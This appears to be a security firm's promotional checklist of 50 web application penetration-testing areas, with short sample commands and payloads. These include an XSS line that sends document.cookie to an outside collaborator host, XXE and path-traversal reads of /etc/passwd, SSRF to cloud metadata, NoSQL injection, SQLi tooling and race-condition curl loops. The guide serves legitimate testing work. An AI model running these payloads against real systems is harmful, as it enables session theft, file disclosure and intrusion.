A thorough web application penetration test covers far more ground than running an automated scanner and calling it a day. The difference between a checklist scan and a genuine assessment comes down to how many of the less obvious, business-logic-dependent, and manually verified areas actually get tested. This checklist organizes 50 areas a competent tester should cover across a typical engagement, from initial reconnaissance through business logic and reporting. Engagements run by Sagefox Cybersecurity are structured around this same breadth of coverage, since automated tooling alone consistently misses the findings that matter most.
Reconnaissance and Information Gathering
1. Full Subdomain and Asset Enumeration
Before testing the primary application, map the full scope of related subdomains and assets that might share infrastructure or authentication.
subfinder -d target.com -all -o subs.txt
httpx -l subs.txt -status-code -title -tech-detect2. Technology Stack Fingerprinting
Identify the frameworks, libraries, and server software in use, since this directly informs which known vulnerability classes are worth prioritizing.
3. Reviewing Publicly Exposed Source Code and Repositories
Check for exposed Git repositories, leaked source code, or accidentally public CI/CD configuration files that might reveal internal architecture or credentials.
trufflehog github --org=target-org --only-verified4. Identifying Third-Party Integrations and Dependencies
Map out which third-party services, SDKs, and libraries the application relies on, since vulnerabilities in dependencies are as relevant as vulnerabilities in first-party code.
5. Reviewing robots.txt, sitemap.xml, and Hidden Directories
Small files often reveal unlinked paths, staging environments, or administrative interfaces not intended for discovery through normal navigation.
ffuf -u https://target.com/FUZZ -w common_directories.txt -mc 200,301,302,403Authentication Testing
6. Testing for Weak Password Policy Enforcement
Confirm the application enforces reasonable minimum complexity and length requirements, and does not silently accept passwords that fail its own stated policy.
7. Brute Force and Account Lockout Behavior
Verify that repeated failed login attempts trigger rate limiting or lockout, and that lockout thresholds cannot be trivially bypassed through IP rotation or username enumeration tricks.
8. Username Enumeration Through Login and Password Reset Flows
Check whether differing error messages or response timing between valid and invalid usernames allow an attacker to enumerate registered accounts.
9. Multi-Factor Authentication Bypass
Test whether MFA can be skipped by manipulating request parameters, replaying old codes, or directly accessing post-authentication endpoints without completing the second factor.
10. Session Fixation
Confirm that a session identifier issued before authentication is invalidated and replaced upon successful login, rather than persisting the same session token across the authentication boundary.
11. Password Reset Token Predictability and Expiration
Review whether password reset tokens are cryptographically random, expire within a reasonable window, and are properly invalidated after use.
for i in {1..5}; do curl -s https://target.com/api/reset-password -d '{"email":"test@test.com"}'; done12. Credential Stuffing Resilience
Test whether the login endpoint has protections against automated credential stuffing attempts beyond basic rate limiting, such as behavioral analysis or CAPTCHA triggers under suspicious volume.
Session Management
13. Session Token Entropy and Predictability
Confirm session tokens are generated with sufficient randomness and are not predictable based on sequential patterns or timestamp-derived values.
14. Session Timeout Enforcement
Verify that idle sessions expire within a reasonable window and that expired sessions are actually rejected server-side, not just hidden from the client interface.
15. Secure and HttpOnly Cookie Flags
Check that session cookies are flagged Secure and HttpOnly, preventing transmission over unencrypted connections and access through client-side scripts.
curl -I https://target.com/login | grep -i set-cookie16. Logout Functionality Actually Invalidating Sessions Server-Side
Confirm that logging out invalidates the session token on the server, not just clearing it from the client, since a captured token should not remain usable after logout.
Authorization and Access Control
17. Broken Object Level Authorization (BOLA/IDOR)
Test every endpoint accepting an object identifier for whether it properly verifies the requesting user's ownership or permission over that specific object.
GET /api/orders/1042
GET /api/orders/104318. Horizontal Privilege Escalation
Verify that a standard user cannot access another standard user's data or functionality by manipulating identifiers or parameters.
19. Vertical Privilege Escalation
Test whether a lower-privileged role can access administrative functionality through direct URL access, forced browsing, or parameter manipulation.
20. Function-Level Access Control
Confirm that backend API endpoints supporting administrative actions enforce authorization checks independently, rather than relying solely on the frontend hiding the relevant UI elements from unauthorized users.
21. Mass Assignment Vulnerabilities
Check whether API endpoints blindly bind all submitted JSON fields to backend objects, potentially allowing privileged fields like role or permission flags to be set by a standard user.
{"name": "Test User", "role": "admin"}Input Validation and Injection
22. SQL Injection Across All Input Vectors
Test not just standard form fields but headers, cookies, and JSON body parameters for SQL injection susceptibility.
sqlmap -u "https://target.com/search?q=test" --batch --level 3 --risk 223. NoSQL Injection
For applications using MongoDB or similar NoSQL backends, test for operator injection through crafted JSON payloads.
{"username": {"$ne": null}, "password": {"$ne": null}}24. Cross-Site Scripting (Reflected, Stored, and DOM-Based)
Cover all three XSS categories separately, since DOM-based XSS in particular requires reviewing client-side JavaScript behavior rather than just server responses.
<img src=x onerror=fetch('https://collab.oastify.com/'+document.cookie)>25. Command Injection
Test any functionality that might pass user input to system-level commands, such as file conversion utilities or network diagnostic tools built into the application.
26. XML External Entity (XXE) Injection
For any endpoint accepting XML input, test whether external entity references are resolved, potentially allowing file disclosure or SSRF.
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>27. Server-Side Template Injection (SSTI)
Test input fields that might be rendered through a server-side templating engine for injection that could lead to remote code execution.
{{7*7}}
${7*7}28. Server-Side Request Forgery (SSRF)
Test any parameter accepting a URL for the ability to reach internal services, cloud metadata endpoints, or otherwise restricted network resources.
{"callback_url": "http://169.254.169.254/latest/meta-data/"}29. File Upload Vulnerabilities
Test whether uploaded files are properly validated by content rather than extension alone, and whether uploaded files can be executed if placed within a web-accessible directory.
30. Path Traversal
Test any functionality accepting a file path or filename parameter for the ability to traverse outside the intended directory.
GET /download?file=../../../../etc/passwdAPI-Specific Testing
31. Rate Limiting on Sensitive Endpoints
Verify that endpoints handling authentication, password resets, and financial transactions enforce meaningful rate limits, not just generic API throttling.
32. API Versioning and Deprecated Endpoint Exposure
Check whether older, deprecated API versions remain accessible and whether they enforce the same security controls as the current version.
33. Excessive Data Exposure in API Responses
Review API responses for fields that expose more data than the frontend actually displays, since over-fetching at the API layer often leaks sensitive fields regardless of what the UI renders.
34. GraphQL-Specific Testing
For GraphQL APIs, test for introspection query exposure, excessively nested queries causing denial of service, and authorization gaps at the field level rather than just the query level.
{"query": "{__schema{types{name fields{name}}}}"}Business Logic Testing
35. Race Conditions in Critical Workflows
Test payment, coupon redemption, and balance transfer functionality for race condition vulnerabilities by firing concurrent requests.
for i in {1..20}; do curl -s -X POST https://target.com/api/redeem -d '{"code":"SAVE20"}' & done; wait36. Price and Quantity Manipulation
Test whether client-side price or quantity values can be manipulated in the request before reaching the server, bypassing intended pricing logic.
37. Workflow Step Bypass
Verify that multi-step processes, such as checkout or account verification, cannot be completed out of order by directly accessing later-stage endpoints.
38. Negative Value and Boundary Testing
Test numeric inputs like quantities and amounts with negative values, zero, and extreme boundary values to see how the application's business logic handles unexpected input.
Cryptography and Data Protection
39. TLS Configuration and Cipher Suite Review
Check for outdated TLS versions, weak cipher suites, and certificate configuration issues.
nmap --script ssl-enum-ciphers -p 443 target.com40. Sensitive Data Exposure in Transit and at Rest
Confirm sensitive data such as payment details or personal information is properly encrypted both in transit and in storage, not just protected by transport-layer encryption alone.
41. Hardcoded Secrets in Client-Side Code
Review JavaScript bundles and mobile application binaries for hardcoded API keys, credentials, or encryption keys that should never be shipped to the client.
grep -r -E "(api[_-]?key|secret|password)" ./client_bundle/42. Weak or Custom Cryptographic Implementations
Flag any custom-built cryptographic functions rather than reliance on well-vetted standard libraries, since custom implementations are a common source of exploitable weaknesses.
Configuration and Infrastructure
43. Security Header Review
Check for the presence and correct configuration of headers like Content-Security-Policy, X-Frame-Options, and Strict-Transport-Security.
curl -I https://target.com44. Verbose Error Messages and Stack Trace Disclosure
Confirm the application does not leak internal file paths, stack traces, or database error details in responses to malformed input.
45. Default or Sample Content Still Present
Check for default admin panels, sample applications, or leftover debug endpoints that should have been removed before production deployment.
46. CORS Misconfiguration
Test cross-origin resource sharing configuration for overly permissive settings that might allow an untrusted origin to make authenticated requests on a victim's behalf.
curl -H "Origin: https://evil.com" -I https://target.com/api/data47. Clickjacking Protection
Verify that sensitive pages cannot be embedded within an iframe on an attacker-controlled site absent an explicit business reason to allow it.
Client-Side and Logic-Adjacent Testing
48. Client-Side Validation Without Server-Side Enforcement
Confirm every validation rule enforced in the browser is independently enforced on the server, since client-side checks alone can always be bypassed.
49. Prototype Pollution in Frontend JavaScript
For modern JavaScript-heavy applications, test for prototype pollution vulnerabilities that could escalate into broader client-side compromise.
https://target.com/?__proto__[isAdmin]=trueReporting and Retest
50. Chain-Aware Impact Documentation
Document findings not just as isolated technical issues but as part of a realistic attack chain where relevant, showing how a lower-severity finding combined with another might produce a more serious outcome, and confirm every finding is retested after remediation to verify the fix actually holds. This is the reporting standard applied consistently across engagements delivered by Sagefox Cybersecurity, ensuring clients receive findings that are both accurate and genuinely actionable.
Why a Checklist Alone Is Not Enough
Automated Coverage Versus Manual Judgment
Many of the 50 items above can be partially automated through scanners and fuzzing tools, but the most consequential findings, particularly business logic flaws, authorization gaps, and chained vulnerabilities, require manual testing and contextual judgment that automated tools consistently miss. A checklist is a floor for coverage, not a substitute for an experienced tester actually thinking through how the application's specific logic could be abused.
Tailoring the Checklist to the Application
Not every item applies equally to every application. A checklist should be adapted based on the specific technology stack, business function, and risk profile of the target rather than applied mechanically without regard to context, since time spent thoroughly testing irrelevant categories is time not spent on what actually matters for that specific application.
Common Mistakes That Undermine Checklist-Based Testing
Treating the Checklist as Exhaustive
No fixed checklist, including this one, covers every possible vulnerability an application might contain. It provides a solid baseline of coverage, but testers should remain alert to application-specific quirks and logic that fall outside any standard list.
Skipping Manual Verification of Automated Findings
Automated scan results for items like SQL injection or XSS should always be manually verified before inclusion in a final report, since false positives from automated tooling remain common enough to undermine report credibility if left unchecked.
Rushing Business Logic Testing
Business logic testing takes more time and creative thinking than most items on this list, which makes it the category most likely to get shortchanged under time pressure. Given how often these findings represent genuine, high-impact risk, this is exactly the wrong place to cut corners.
Key Takeaways
A genuinely thorough web application penetration test covers far more than the categories an automated scanner checks by default. Working systematically through authentication, authorization, injection, API-specific concerns, business logic, and infrastructure configuration, then applying manual judgment throughout, is what separates a checklist scan from an assessment that actually reflects how a determined attacker would approach the same application.
If your organization needs a thorough web application assessment built around this level of coverage, the team at Sagefox Cybersecurity can help make sure nothing on this list, or specific to your application, gets missed.
